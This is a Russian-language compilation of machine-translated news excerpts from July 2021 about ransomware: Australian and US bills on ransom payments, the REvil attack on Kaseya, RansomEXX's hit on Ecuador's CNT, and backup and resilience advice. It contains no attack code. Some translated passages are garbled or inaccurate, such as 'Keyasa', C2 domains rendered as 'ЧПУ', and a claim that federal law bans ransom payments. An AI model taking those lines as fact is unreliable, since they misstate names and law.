По сообщениям, растет число программ-вымогателей «двойное вымогательство», когда хакеры требуют второй выкуп в обмен на то, что они не раскрыли конфиденциальные данные, украденные во время первоначальной атаки. CyberCX, компания по кибербезопасности из Австралии и Новой Зеландии, сообщает, что некоторые хакеры начинают требовать выкуп от клиентов взломанных фирм в обмен на то, что они не разглашают их конфиденциальные личные данные.

Австралийский центр кибербезопасности (ACSC) недавно предупредил, что секторы ухода за престарелыми и здравоохранения считаются «прибыльными целями».

Предлагаемые изменения могут повлиять на несколько областей, в которых угроза программ-вымогателей пересекается с ключевыми проблемами управления и риска, в том числе:

Структуры и политики управления данными и кибербезопасностью

Обязанности директора

Состав умений доски

Страховые полисы

Программы соответствия нормативным требованиям

Сообщение об утечке данных

Противодействие отмыванию денег (AML).

Предлагаемые новые правила

Закон о платежах от программ-вымогателей 2021 (Cth) потребует от любого предприятия или органа правительства Содружества, совершающего платеж с использованием программного обеспечения-вымогателя, направить письменное уведомление «как можно скорее» в Австралийский центр кибербезопасности (ACSC), включая сумму платежа и любые известные информация о хакерах.

Считается, что изобретение биткойнов и других криптовалют, которые сложно отследить, является движущей силой распространения атак программ-вымогателей. Законопроект подтверждает это, требуя, чтобы уведомление включало «кошелек криптовалюты и т. Д., На который был произведен платеж».

Никаких конкретных периодов времени для уведомления не указывается. Компании, которые не сообщают о платежах с использованием программ-вымогателей, рискуют получить штраф в размере до 222 000 долларов (1000 штрафных единиц).

Аналогичная схема, требующая уведомления об утечке данных в Управление комиссара по информации Австралии (OAIC), стала обязательной в рамках схемы уведомляемых утечек данных (NDB) в 2018 году.

Глобальное руководство

Ряд органов власти недавно выпустили руководство по атакам программ-вымогателей, в том числе:

Австралийский центр кибербезопасности и Австралийское управление сигналов.

Австралийское агентство цифрового здравоохранения.

Национальный центр кибербезопасности Великобритании.

Департамент финансовых услуг штата Нью-Йорк.

Агентство по кибербезопасности и безопасности инфраструктуры (CISA) и Межгосударственный центр обмена и анализа информации (MS-ISAC).

CISA, MS-ISAC, Национальная ассоциация губернаторов и NASCIO.

Целевая группа по программам- вымогателям Института безопасности и технологий США.

Департамент США казначейства Управления контроля иностранных активов (OFAC).

Сеть по борьбе с финансовыми преступлениями Министерства финансов США (FinCEN).

Канадский центр кибербезопасности.

Многие руководства и ресурсы рекомендуют многоуровневый или многоаспектный подход, основанный на оценке риска. Общие рекомендации включают:

Соответствующие и тщательно протестированные резервные копии данных.

Политики и процедуры, обеспечивающие регулярное исправление и обновление программного обеспечения до последних доступных версий.

Обучение сотрудников навыкам кибербезопасности, особенно фишинга.

Превентивные решения безопасности, такие как многофакторная аутентификация и надежные пароли.

Системы обнаружения злоумышленников.

План реагирования на инциденты, связанные с программами-вымогателями.

Упражнения по киберинцидентам.

Киберстрахование.

ACSC рекомендует австралийским организациям, зараженным программами-вымогателями, в первую очередь обращаться за помощью по телефону 1300 CYBER1 (1300 292 371).

Платить или не платить

Все большее число правоохранительных и регулирующих органов рекомендуют компаниям избегать платежей с использованием программ-вымогателей, в том числе Австралийский центр кибербезопасности и Федеральное бюро расследований США (ФБР).

FinCEN Министерства финансов США предупреждает, что выплаты выкупа могут взаимодействовать с законодательством о борьбе с отмыванием денег (AML) и финансированием терроризма, а также с финансовыми санкциями, налагаемыми на государства-изгои». ***(New laws proposed as ransomware threat intensifies // Governance Institute of Australia (https://www.governanceinstitute.com.au/news-media/news/2021/jul/new-laws-proposed-as-ransomware-threat-intensifies/). 15.07.2021).***

***

«Консультативный комитет по кибербезопасности (основе промышленности консультативной группы устанавливается министром внутренних дел для обеспечения независимого стратегического консультирования по вызовам кибер - безопасности в Австралии) рекомендовал в своем ежегодном докладе о том, что федеральное правительство разработать четкую политическую позицию о выплате выкупа по организации, пострадавшие от атак программ-вымогателей.

Стремление правительства к усилению позиции в отношении программ-вымогателей следует за рядом атак с использованием программ-вымогателей, о которых мы писали в блогах, и совпадает с введением законопроекта о платежах с использованием программ-вымогателей, являющегося частным участником, - законопроекта о платежах от программ-вымогателей, который предлагает сделать его обязательным для австралийских предприятий и государственных учреждений уведомить Австралийский центр кибербезопасности (ACSC) перед выплатой выкупа.

Помимо руководства по выплатам программ-вымогателей и повышения осведомленности и эффективности управления киберугрозами, комитет рекомендовал правительству сосредоточить внимание на следующем в следующие 12 месяцев:

Повышение осведомленности о кибербезопасности

Готовность к работе

Повышенный статус совместных центров кибербезопасности Австралийского центра кибербезопасности

Австралийская международная стратегия взаимодействия с киберпространством и критическими технологиями

Оценка и измерение зрелости кибербезопасности

Целевая группа по регулированию передовой практики

Программы-вымогатели

Криптовалюта

По мере увеличения сложности и доступности вычислительной мощности текущая технология шифрования становится недостаточной для обеспечения безопасности данных. Комитет рекомендовал правительству инвестировать в усовершенствование технологии квантового шифрования, которую оно использует для сохранения конфиденциальности данных, которые оно защищает, и стимулирования финансирования исследований и разработок в этой области». ***(Cameron Abbott, Rob Pulham and Jacqueline Patishman. TO PAY OR NOT TO PAY THE RANSOM? ORGANISATIONS MAY FIND THEIR DECISION EASIER WITH GOVERNMENT GUIDANCE // K&L Gates LLP (https://www.cyberwatchaustralia.com/2021/07/to-pay-or-not-to-pay-the-ransom-organisations-may-find-their-decision-easier-with-government-guidance/). 21.07.2021).***

***

«В течение долгих июльских выходных канадские, американские и другие международные компании стали жертвами масштабной атаки программ-вымогателей. Предполагается, что за атакой стоит группа REvil, синдикат программ-вымогателей, также известный как Sodin или Sodinokibi. Самая известная и недавняя атака этой банды была нацелена на Kaseya, сервис программного обеспечения для управления ИТ, работающий в системе цепочки поставок. Считается, что REvil требует выкуп, равный 70 миллионам долларов в биткойн-эквиваленте, за расшифровку всех затронутых систем. Эта недавняя международная кибератака на клиентов Kaseya подчеркивает, насколько уязвимыми к этим атакам могут быть предприятия конечных потребителей, такие как розничные сети, поскольку утечка данных поставщиками услуг распространяется по всей цепочке поставок.

Требование о нападении и выкупе

Касея указала, что он был заражен только в отношении «локальных» серверов. Облачные сервисы явно не пострадали. Клиенты Kaseya, такие как шведская сеть продуктовых магазинов CO-OP, сильно пострадали, и пришлось временно закрыть более 800 магазинов CO-OP. Это было связано с тем, что поставщик программного обеспечения для кассового аппарата ритейлера был отключен от сети. Это примеры последующего воздействия инцидентов кибербезопасности в цепочке поставок.

Согласно публичным заявлениям Касеи, нападение затронуло около 50 их клиентов. Большинство затронутых клиентов Kaseya были поставщиками управляемых услуг (MSP), которые предоставляют ИТ-услуги своим клиентам. Похоже, что не менее 1500 организаций стали жертвами программ-вымогателей, развернутых в их системах через уязвимость нулевого дня в системе Kaseya,

которая была обнаружена примерно за 3 месяца до атаки. С 2015 года на сайте выставления счетов и поддержки клиентов обнаружена необработанная уязвимость, и в настоящее время Касея анализирует последствия взлома уязвимости 2015 года.

Однако интересно отметить, что некоторые жертвы, по-видимому, отказываются платить выкуп из-за отсутствия рычагов воздействия, которые злоумышленники смогли установить. Очевидно, какими бы разрушительными ни были атаки, потеря, доступ и кража данных могли быть менее распространенными, чем в других и часто встречающихся стратегиях «двусторонней атаки», состоящих из шифрования данных и их кражи.

Как бизнесу защитить себя?

Организации могут принять ряд мер предосторожности. К ним относятся договорные гарантии, технические гарантии, а также комплексная проверка поставщиков. Компании также должны понимать свои договорные и юридические обязательства после того, как нарушение повлияло на их данные или операции.

На каждом этапе цепочки поставок соответствующие договорные положения должны требовать незамедлительного уведомления клиентов об инцидентах, связанных с безопасностью данных. Компаниям также следует рассмотреть возможность использования киберстрахования в качестве инструмента управления рисками. Тип покрытия и размер должны быть адаптированы и тщательно продуманы.

Наличие хорошо разработанных и хорошо отрепетированных планов реагирования на инциденты должно быть частью стратегии каждой организации, равно как и соответствующие планы резервного копирования и обеспечения непрерывности бизнеса. Организации могут пожелать включить рассмотрение того, как обрабатывать требования выкупа и какова исходная позиция при осуществлении этих платежей преступникам (зная, что некоторые инциденты могут быть успешно устранены с меньшими усилиями, чем другие).

Еще один способ минимизировать риски - провести комплексную проверку при принятии решения, каким поставщикам ИТ-услуг доверить данные и операции организации. Это включает более глубокое изучение цепочки поставок и знание того, какие субподрядчики или субпроцессоры используются. Непрерывный мониторинг и аудит являются ключевой частью управления цепочкой поставок поставщика. Меняются технологии и векторы атак, меняются организации и их профили рисков.

Собственная сеть организации также должна быть безопасной. Здесь необходимо тщательно изучить и оценить техническое взаимодействие с поставщиками.

Наконец, у предприятий есть юридические и договорные обязательства. Например, согласно федеральному Закону о защите личной информации и электронных документах организация, «контролирующая», должна сообщать физическим лицам или федеральному регулирующему органу всякий раз, когда инцидент приводит к утечке персональных данных, которая несет «реальный риск нанесения значительного ущерба». Это часто имеет место в сценариях двойного вымогательства, но, конечно, не всегда. Также могут существовать договорные или

репутационные требования для уведомления конечных потребителей или других заинтересованных сторон, как внутренних, так и внешних, независимо от того, была ли получена личная информация или получена.

Организациям, на которых может повлиять Kaseya или аналогичные нарушения в цепочке поставок, будет полезно понять все известные и потенциальные будущие воздействия на свои организации в таких случаях и рассмотреть любые вытекающие из этого обязательства, а также будущие меры по исправлению положения…» ***(David Krebs, Giovanni Giuga. Ransomware trickles down into your supply chain – Kaseya cyberattack highlights cybersecurity risks and business impact // Miller Thomson LLP (https://www.millerthomson.com/en/blog/mt-cybersecurity-blog/ransomware-trickles-down-into-your-supply-chain-kaseya-cyberattack-highlights-cybersecurity-risks-and-business-impact/#page=1). 09.07.2021).***

***

«Организации по всему миру были заняты в эти выходные после того, как Keyasa, поставщик программного обеспечения, обслуживающий более 40 000 организаций, сообщил, что он стал жертвой изощренной кибератаки, которая, как считается, была организована REvil, киберпреступником, действующим из России. Это последнее объявление последовало за несколькими громкими атаками программ-вымогателей, которые произошли во время пандемии COVID-19. Атаки программ-вымогателей традиционно включали использование вредоносных программ, предназначенных для шифрования файлов и систем организации. Однако в течение последних 18 месяцев злоумышленники использовали практику, известную как двойное погружение, когда вредоносное ПО используется для шифрования файлов и систем, в то время как злоумышленник также извлекает данные, чтобы угрожать публичному раскрытию в отсутствие выкупа.

Компании и правительства во всем мире обеспокоены растущей тенденцией атак программ-вымогателей. В недавнем отчете SonicWall говорится, что в первой половине 2021 года количество попыток вымогателя увеличилось на 116%. Другой отчет Cybereason показал, что «80% предприятий, которые платят за восстановление доступа к своим зашифрованным системам, подвергаются последующей атаке вымогателей. [.] »

Для борьбы с атаками программ-вымогателей существуют федеральные законы, запрещающие выплату выкупа злоумышленникам. Например, Управление по контролю за иностранными активами (OFAC) в конце прошлого года выпустило руководство о том, что организации могут столкнуться с потенциальными санкциями при выплате выкупа определенным лицам или группам. Однако лидер сенатского большинства Чак Шумер инициировал проверку, чтобы определить, требуется ли дополнительное законодательство. В дополнение к обзору Шумер, похоже, добивается «увеличения бюджета Агентства по кибербезопасности и безопасности инфраструктуры США (CISA) на 500 миллионов долларов», чтобы помочь ему в реагировании на громкие инциденты, в том числе связанные с программами-вымогателями.

Законодательные собрания штатов также изучают этот вопрос.

Нью-Йорк

В Нью-Йорке законодатели предложили два законопроекта. Первый законопроект, SB 6806 штата Нью-Йорк, запрещает «государственным организациям, коммерческим предприятиям и организациям здравоохранения выплачивать выкуп в случае кибер-выкупа или атаки программ-вымогателей», а (2) SB 6154 Нью-Йорка «касается создания кибербезопасности. фонд пополнения и ограничение использования денег налогоплательщиков при выплате выкупа ».

Северная Каролина

HB 813 Северной Каролины ориентирован на государственные учреждения и правительственные учреждения. HB 813 не позволит этим организациям заплатить злоумышленникам за раскрытие информации, предназначенной для выкупа. Этот закон также разъясняет агентствам, как они должны координировать свои действия с Департаментом информационных технологий штата.

Пенсильвания

SB 726 Пенсильвании будет «запрещать [правительственным учреждениям штата] участвовать в атаках программ-вымогателей и вымогать платежи для устранения или предотвращения атак программ-вымогателей». SB 726 также требует, чтобы организации уведомляли определенные объекты об атаке «в течение одного часа после обнаружения» для поставщиков управляемых услуг и «в течение двух часов» для государственных агентств.

Техас

Техасский HB 3892 запрещал агентствам штата выплачивать выкуп в связи с кибератакой. Законопроект также предлагает государственным органам широко внедрить планы безопасности и реагирования. Например, Департаменту информационных ресурсов будет поручено провести исследование «относительно киберинцидентов и значительных киберинцидентов, затрагивающих государственные учреждения и критическую инфраструктуру», принадлежащих государству.

Целью всего этого закона является устранение финансового стимула для выплаты выкупа злоумышленникам…» ***(Ronald I. Raether, Jr., Angelo A. Stio III & Edgar Vargas. Lawmakers Aim to Limit Ransomware Response Options // Troutman Pepper Hamilton Sanders LLP. (https://www.consumerfinancialserviceslawmonitor.com/2021/07/lawmakers-aim-to-limit-ransomware-response-options/#page=1). 12.07.2021).***

***

«Получен компьютерный ключ, который может разблокировать файлы сотен компаний, взломанных в результате масштабной кибератаки.

Американская ИТ-компания Kaseya, которая была первой жертвой в начале этого месяца, заявила, что получила ключ от «доверенной третьей стороны».

Программы-вымогатели - это вредоносные программы, которые крадут компьютерные данные и шифруют их, чтобы жертва не могла получить к ним доступ.

Затем хакеры просят оплату за выпуск файлов.

Ключ дешифратора Kaseya позволит клиентам извлекать недостающие файлы без уплаты выкупа.

Представитель компании Дана Лидхольм отказалась ответить, заплатила ли Касея за доступ к ключу.

Она рассказала техническому блогу Bleeping Computer, что компания активно помогает клиентам восстанавливать их файлы.

Атака «цепочки поставок» изначально была нацелена на Kaseya, а затем распространилась по корпоративным сетям, использующим ее программное обеспечение.

По оценкам Касеи, пострадали от 800 до 1500 предприятий, в том числе 500 супермаркетов Swedish Coop и 11 школ в Новой Зеландии.

После атаки в начале июля преступная банда вымогателей REvil потребовала биткойнов на 70 миллионов долларов в обмен на ключ, который разблокировал бы украденные файлы.

Но члены группы исчезли из Интернета через несколько дней после инцидента, в результате чего компании не смогли получить данные до сих пор». ***(Ransomware key to unlock customer data from REvil attack // BBC (https://www.bbc.com/news/technology-57946117). 24.07.2021).***

***

«В 2021 году угроза программ-вымогателей стала очень серьезной. Во многих отношениях это именно то, что ожидали (и предсказывали) эксперты по кибербезопасности после крупных кибератак 2020 года, в том числе атак с использованием программ-вымогателей для больниц, которые сильно пострадали от программ-вымогателей и Covid-19.

Но в остальном этот всплеск беспрецедентен.

Благодаря нашей технологии фильтрации DNS в DNSFilter мы можем определять тенденции вредоносных и фишинговых доменов в нашей сети. За последний год мы наблюдали рост и падение трафика в домены, относящиеся к категории вредоносных программ. Если вернуться назад и посмотреть на трафик доменов к доменам вредоносного ПО, то в 2021 году мы заметили несколько всплесков трафика. В том числе кратковременный всплеск в период с января по февраль, совпавший с атакой программы-вымогателя Silver Sparrow.

Здесь мы рассмотрим несколько периодов времени, когда был высокий трафик к вредоносным доменам в сети DNSFilter.

В начале года всплеск трафика вредоносных программ: Silver Sparrow и другие.

В середине февраля вредоносная программа Silver Sparrow была обнаружена на 30 000 компьютеров Mac.

Эта вредоносная программа использовала установочные пакеты, использующие JavaScript API установщика macOS, в отличие от других вредоносных установщиков macOS, которые используют сценарии до или после установки. Сетевой компонент этой вредоносной программы запускался для выполнения сценария оболочки, который затем загружал файл JSON на диск со

своего C2, проверяя каждый час. Silver Sparrow широко использовала инфраструктуру ведра AWS S3 для распространения.

В нашей сети вредоносные запросы к связанным доменам Silver Sparrow были обнаружены в период с 21 января по 21 февраля - клиенты DNSFilter были уведомлены, хотя все клиенты, блокирующие категорию «вредоносное ПО», блокировали эти домены.

Примерно в это же время в сети DNSFilter произошел всплеск количества вредоносных доменов. На этом изображении оранжевая линия представляет заблокированные DNS-запросы.

В начале года исследователи безопасности обнаружили новую угрозу вымогателя в программе- вымогателе Babuk. Временная шкала, когда эта программа-вымогатель была особенно активна, совпадает с тем, когда трафик к вредоносным доменам можно найти в сети DNSFilter.

Также в это время была активна программа- вымогатель Conti. В период с 21 января по 5 февраля этого года банда программ-вымогателей нацелена на некоммерческую больницу в Нью-Мексико, что соответствует росту числа злоумышленников в нашей сети. В результате этой атаки были скомпрометированы такие данные, как информация о пациентах, паспорта и разрешения на проверку биографических данных, затронувших 200 000 пациентов больницы.

Весьма вероятно, что эти штаммы вымогателей были нацелены на другие организации, помимо тех, о которых мы знаем. Вредоносное ПО часто задерживается на 800 дней до обнаружения, хотя атаки программ-вымогателей обычно имеют более короткий средний период времени - 43 дня от первого появления до обнаружения из-за своего метода атаки. Несмотря ни на что, 2021 год начался с роста вредоносных доменов.

Весна для вредоносных программ

В марте 2021 года компания Acer стала жертвой масштабной атаки программ-вымогателей. И всего два месяца спустя был прорван колониальный трубопровод, что привело к нехватке газа и росту цен на нефть. Интересно, что попытки трафика к вредоносным доменам в нашей сети отражали временные рамки этих двух нарушений.

Хотя стоит отметить, что к весне этого года программы-вымогатели по сути стали второй пандемией. В то время как громкие организации, ставшие жертвами банд программ-вымогателей, попадали в заголовки газет, настоящая проблема заключалась (и остается) в школах, больницах и других отраслях, составляющих нашу критически важную инфраструктуру, которые подвергались интенсивной бомбардировке с помощью программ-вымогателей. Часто это отрасли с небольшими ИТ-бюджетами и ограниченными ресурсами кибербезопасности, что создает идеальный шторм уязвимых целей с информацией, имеющей значительную ценность в темной сети.

В конце апреля Байден издал указ о новых стандартах кибербезопасности. Это объявление произошло примерно в то время, когда в нашей сети произошел вторичный всплеск попыток посещения вредоносных доменов. Это могло быть случайным совпадением, хотя могло свидетельствовать об увеличении активности программ-вымогателей в качестве прямого ответа на этот приказ.

Взлом Касеи: все еще продолжается

2 июля 2021 года атака программы-вымогателя Kaseya стала самой последней уязвимостью, привлекшей наше внимание. Незадолго до того, как это произошло, DNSFilter заметил еще один большой всплеск трафика на вредоносные домены в конце июня, пик пришелся на 29 июня.

Файл конфигурации доменов CNC был опубликован вскоре после объявления о взломе. Хотя DNSFilter блокирует эти выпущенные домены ЧПУ с момента их появления, существует теория, что эти домены на самом деле являются ложными. REvil, группа вымогателей, ответственная за взлом Kaseya, недавно замолчала. Что это означает, пока неясно, но даже если REvil исчезнет, его место вскоре займет другая группа вымогателей.

С каждой успешной атакой программ-вымогателей наша критическая инфраструктура подвергается все большему и большему риску. Мы еще не видели полномасштабных разрушений от рук вымогателей. Но это следующий логический шаг в тенденции, которая постепенно превращается от выкупа к вымогательству…». ***(Tracking Malware and Ransomware Domains in 2021 // Threatpost (https://threatpost.com/tracking-malware-and-ransomware-domains-2021/167933/). 21.07.2021).***

***

«Сфера программ-вымогателей развивается, и теперь программы-вымогатели являются одним из самых популярных (для киберпреступников) и вредоносных типов вредоносных программ. В JBS, Colonial Pipeline и нападения Kaseya являются недавние примеры громких воздействия вымогателей и монументальными последствия это может иметь: Сдвиги на рынке, влияние на инфраструктуру и даже приводит к действию на самых высоких уровнях власти.

После этих атак и других событий, таких как атака SolarWinds, исполнительная власть приняла меры в форме распоряжения (EO), которое охватывает несколько концепций кибербезопасности. Этот приказ побуждает компании частного сектора последовать примеру федерального правительства, чтобы минимизировать влияние будущих инцидентов.

В OP выделено несколько различных концепций, поэтому, чтобы помочь организациям начать работу, я обрисовал некоторые ключевые концепции, на которые организациям следует обратить внимание сейчас, и предлагаю несколько советов о том, как вы можете начать реализацию этих стратегий уже сегодня.

1. Примите позицию «нулевой безопасности» в отношении программ-вымогателей.

Один из заказов, который мне особенно понравился, - это требование «Модернизировать и внедрить более строгие стандарты кибербезопасности в федеральном правительстве». Это нацелено на то, чтобы федеральное правительство расширило и внедрило более эффективные методы обеспечения безопасности с нулевым доверием, ускорение перехода к защищенным облачным сервисам и развертывание многофакторной аутентификации и шифрования.

В Veritas мы советуем предприятиям принять то, что мы называем «нулевой безопасностью»; это мышление, что даже самая эффективная защита конечных

точек будет нарушена. Важно иметь план, чтобы быть готовым к тому, когда это произойдет.

2. Будьте активными, а не пассивными

Предприятиям необходима надежная защита данных конечных точек и системная безопасность. Это включает в себя антивирусное программное обеспечение и даже программное обеспечение, внесенное в белый список, где можно получить доступ только к утвержденным приложениям. Предприятиям нужен как активный элемент защиты, так и реактивный элемент восстановления.

Компании, подвергшиеся атаке программ-вымогателей, могут потратить пять дней или больше на восстановление после атаки, поэтому крайне важно, чтобы компании активно внедряли правильные стратегии резервного копирования и восстановления до атаки программы-вымогателя.

3. Не кладите все яйца в одну корзину.

Черные шляпы, разрабатывающие программы-вымогатели, пытаются предотвратить любые средства выхода из предприятия, которому необходимо заплатить выкуп. Вот почему программы-вымогатели атакуют используемые файлы и системы, а также системы резервного копирования и облачные данные.

Мы призываем организации внедрить более комплексный подход к резервному копированию и восстановлению, основанный на структуре кибербезопасности Национального института стандартов и технологий (NIST). Он включает в себя набор передовых методов: использование неизменяемого хранилища, которое предотвращает шифрование или удаление резервных копий программами-вымогателями; внедрение шифрования при передаче и в состоянии покоя для предотвращения взлома сети или кражи ваших данных злоумышленниками; и усиление защиты среды за счет включения брандмауэров, ограничивающих порты и процессы.

4. Создайте руководство для киберинцидентов.

Другой аспект ОР, который я хотел затронуть, - это призыв «Создать стандартную инструкцию по реагированию на киберинциденты». Федеральное правительство планирует создать программу действий для федеральных агентств, которая также будет служить образцом для частного сектора, чтобы помочь компаниям предпринять соответствующие шаги для выявления и смягчения угрозы.

Время имеет существенное значение, поэтому, прежде чем мы увидим программу действий федерального правительства, вот несколько важных шагов, о которых организациям следует подумать, когда дело доходит до создания своих собственных:

Цифровой Runbook: иметь план на бумаге - это начало, но иметь цифровой план, который можно легко просмотреть и выполнить одним щелчком мыши, очень важно. Чем сложнее план, тем больше времени потребуется на восстановление после атаки.

Тестирование, тестирование, тестирование: тестирование гарантирует, что ваш план будет работать, когда он вам понадобится. Первоначальное тестирование важно для обеспечения работоспособности всех аспектов плана, но ИТ-среда постоянно меняется, поэтому очень важно проводить регулярное тестирование.

Устранение единичных точек отказа. Практика 3-2-1 заключается в том, что у вас должно быть три или более копий ваших данных, чтобы любой единичный сбой не сорвал ваш план. У вас есть как минимум два разных носителя, поэтому уязвимость в одном из них не поставит под угрозу все ваши копии. По крайней мере, один из этих двух носителей должен быть удаленным или изолированной копией, чтобы у вас были варианты действий на случай, если атака поразит весь центр обработки данных.

Имеются возможности для быстрого восстановления: когда при восстановлении атаки разрушается весь центр обработки данных, восстановление может быть замедлено из-за сложных проблем, связанных с оборудованием, сетью, рабочими нагрузками и самими данными. Наличие альтернативного варианта, такого как быстрое подключение центра обработки данных к поставщику общедоступного облака, может сократить время простоя и предоставить альтернативу уплате выкупа.

5. Помните: программы-вымогатели - это гонка вооружений.

Подготовка вашей компании к неизбежной атаке программ-вымогателей становится все более важной с каждым днем. Атака Colonial Pipeline привела к появлению новых требований к киберустойчивости, и, как лидеры в области безопасности, мы играем важную роль в обеспечении того, чтобы мы делали все возможное для защиты ценных и конфиденциальных данных.

Программа-вымогатель не будет «решена». Я рассматриваю это как гонку вооружений, в которой мы все должны быть постоянно бдительными, особенно в отношении элементов, которые находятся вне нашего контроля. Никакое единое решение или средство контроля безопасности не смогут остановить вымогателей, но, применив многоуровневый подход к безопасности, вы сможете смягчить воздействие и очень быстро возобновить работу». ***(Alex Restrepo. 5 Steps to Improving Ransomware Resiliency // Threatpost (https://threatpost.com/improving-ransomware-resiliency/168091/). 23.07.2021).***

***

«Эквадорская государственная корпорация «Корпорасьон Насиональ де Телекомуникасьон» (CNT) подверглась атаке программы-вымогателя, которая нарушила бизнес-операции, платежный портал и службу поддержки клиентов.

CNT - это государственный оператор связи Эквадора, предлагающий услуги фиксированной телефонной связи, мобильной связи, спутникового телевидения и подключения к Интернету.

Начиная с этой недели веб-сайт CNT начал отображать предупреждение о том, что они подверглись атаке и что служба поддержки клиентов и онлайн-платежи больше не доступны.

«Сегодня, 16 июля 2021 года, Национальная телекоммуникационная корпорация CNT EP подала жалобу в Генеральную прокуратуру штата на преступление «атаки на компьютерные системы», чтобы провести предварительное расследование и привлечь виновных», - говорится в сообщении. предупреждение переведено на английский язык.

«Эта атака повлияла на процессы обслуживания в наших Центрах интегрированного обслуживания и Контакт-центре; в связи с этим мы указываем нашим пользователям, что их услуги не будут приостановлены из-за неуплаты».

«Мы должны проинформировать наших клиентов, как крупных, так и корпоративных, что их данные должным образом защищены. Мы также информируем, что такие услуги, как звонки, Интернет и телевидение, работают нормально»…

В заявлении CNT для прессы компания заявляет, что корпоративные данные и данные клиентов защищены и не разглашаются.

Однако банда RansomEXX утверждает, что украла 190 ГБ данных и поделилась скриншотами некоторых документов на странице скрытой утечки данных.

Скриншоты, которые видел BleepingComputer, включают списки контактов, контракты и журналы поддержки.

Эта операция вымогателя несет ответственность за многочисленные громкие атаки, включая бразильскую судебную систему Риу-Гранди-ду-Сул, подрядчика по ядерному оружию Sol Oriens и JBS, крупнейшего в мире производителя мяса.

Операция по вымогательству первоначально была запущена под названием Defray в 2018 году, но стала более активной в июне 2020 года, когда она была переименована в RansomEXX и стала нацелена на крупные корпоративные организации.

Как и другие банды вымогателей, RansomEXX взламывает сеть с помощью приобретенных учетных данных, серверов RDP с перебором или с помощью эксплойтов.

Как только они получат доступ к сети, они будут незаметно распространяться по сети, крадя незашифрованные файлы для использования в попытках вымогательства.

Получив доступ к паролю администратора, они развертывают программу-вымогатель в сети и шифруют все ее устройства.

RansomEXX создал версию для Linux, что становится обычным явлением среди операций с программами-вымогателями, чтобы гарантировать, что они могут быть нацелены на все важные серверы и виртуальные машины.

У банды RansomEXX есть история громких атак, включая правительственные сети Бразилии, Департамент транспорта Техаса (TxDOT), Konica Minolta, IPG Photonics и Tyler Technologies…». ***(Lawrence Abrams. Ecuador's state-run CNT telco hit by RansomEXX ransomware // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/). 17.07.2021).***

***

«Ведущая швейцарская платформа сравнения цен Comparis уведомила клиентов об утечке данных после атаки программы-вымогателя, которая на прошлой неделе ударила по всей ее сети и вырвалась из строя.

Comparis - один из самых популярных швейцарских веб-сайтов, который ежегодно посещают более 80 миллионов человек, и крупнейший швейцарский онлайн-рынок недвижимости и автомобилей.

Служба независимого онлайн-сравнения позволяет гражданам Швейцарии сравнивать цены и продукты широкого круга страховых компаний, страховых компаний, банков и поставщиков телекоммуникационных услуг, в частности.

Атака программ-вымогателей приводит к закрытию всей компании

«7 июля Comparis группа стала жертвой организованной кибер - атаки весьма криминального характера. Comparis немедленно принял все меры, необходимые для защиты всех данных», компания объясняет в официальном заявлении.

«Например, он быстро отключил все свои ИТ-системы, как только атака стала очевидной. Затем системы были восстановлены в безопасной среде».

Comparis Group проинформировала швейцарские правоохранительные органы и Швейцарского федерального комиссара по защите данных об атаке и работает со своими экспертами по киберпреступности для расследования инцидента.

Как обнаружила онлайн-платформа в ходе расследования, операторы программ-вымогателей, стоящие за атакой, могли получить доступ и, вероятно, украсть данные клиентов, хранящиеся в системах Comparis Group.

Компания заявляет, что злоумышленники получили доступ к данным учетных записей клиентов дочерних компаний Comparis и Comparis, включая пароли, «хранящиеся в виде хэша».

Пользователям с учетной записью Comparis рекомендуется как можно скорее изменить свои пароли, чтобы заблокировать потенциальные попытки захватить свои учетные записи в Интернете с использованием украденных учетных данных.

Клиенты сообщают о мошеннических звонках

После атаки некоторые пользователи Comparis сообщали, что получали звонки от лиц, которые выдавали себя за законных сотрудников колл-центра и предлагали советы о том, как бороться с последствиями утечки данных.

Другие пользователи заявили, что с ними связались люди, считавшие себя страховыми брокерами, у которых была информация о медицинской страховой компании получателя и другие данные.

По словам Comparis, эти звонки и попытки контакта исходят либо от мошенников, пытающихся воспользоваться кибератакой и случайного вызова потенциально затронутых людей, либо с использованием старых списков адресов, которые не имеют прямого отношения к краже данных, о которой сообщалось после атаки вымогателя.

«Если ваши данные будут затронуты, мы не можем исключить возможность их использования третьими сторонами в коммерческих или мошеннических целях», - добавили в компании…». ***(Sergiu Gatlan. Comparis customers targeted by scammers after ransomware attack // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/comparis-customers-targeted-by-scammers-after-ransomware-attack/). 18.07.2021).***

***

«Компьютерное вымогательство является одной из ключевых угроз современности, по мнению Линди Кэмерон (Lindy Cameron), руководителя «Национального центра кибер-безопасности» Великобритании. Данная структура защищает свою страну от кибер-угроз, включая атаки со стороны иностранных государств. Однако в недавнем выступлении ее шеф заявила, что шифровальщики представляют собой самую непосредственную угрозу и имеют наиболее разрушительный потенциал. «Для подавляющего большинства граждан и предприятий Великобритании, а также сервис-провайдеров, обслуживающих объекты национальной инфраструктуры и государственные структуры, ключевой угрозой являются не [иностранные] государства, а кибер-преступники», – цитирует Panda Security.

Кибер-войны нацелены на критические объекты национальной инфраструктуры, такие как транспорт или энергосистема, нарушение работы которых способно вызвать хаос в атакуемой стране. Кибер-преступники имеют сильную финансовую мотивацию, и они все чаще используют шифровальщики для атаки на предприятия и физические лица с целью вымогательства денег.

Шифровальщики (ransomware) в настоящее время предпочтительное для злоумышленников оружие, потому что его легко распространять, и оно весьма эффективно. Блокируя доступ к важным данным, хакеры знают, что пострадавшие компании и персоны оказываются перед трудным выбором – заплатить выкуп или рисковать потерять свои файлы навсегда.

Кибер-преступники тщательно нацеливают свои атаки для достижения наибольшего эффекта. Крупные компании остаются наиболее популярными целями. Потому что они способны заплатить миллионные выкупы. Тем не менее, небольшие компании и физические лица также подвергаются значительному риску – хакеры просто требуют меньший выкупа, который жертва сможет заплатить с большей вероятностью.

Хотя Линди Кэмерон не упоминала напрямую, но настаивала на том, что национальные правительства должны играть активную роль в оказании помощи в борьбе с кибер-преступностью. По ее мнению, многие атаки шифровальщиков запускаются из бывших советских республик, включая Россию. Хотя официально преступная деятельность против иностранных государств не поощряется, она считает, что власти стран бывшего СССР зачастую игнорируют эту проблему. «Преступники не существуют в вакууме. Они часто поддерживаются государством, а потому действуют безнаказанно», – пояснила она.

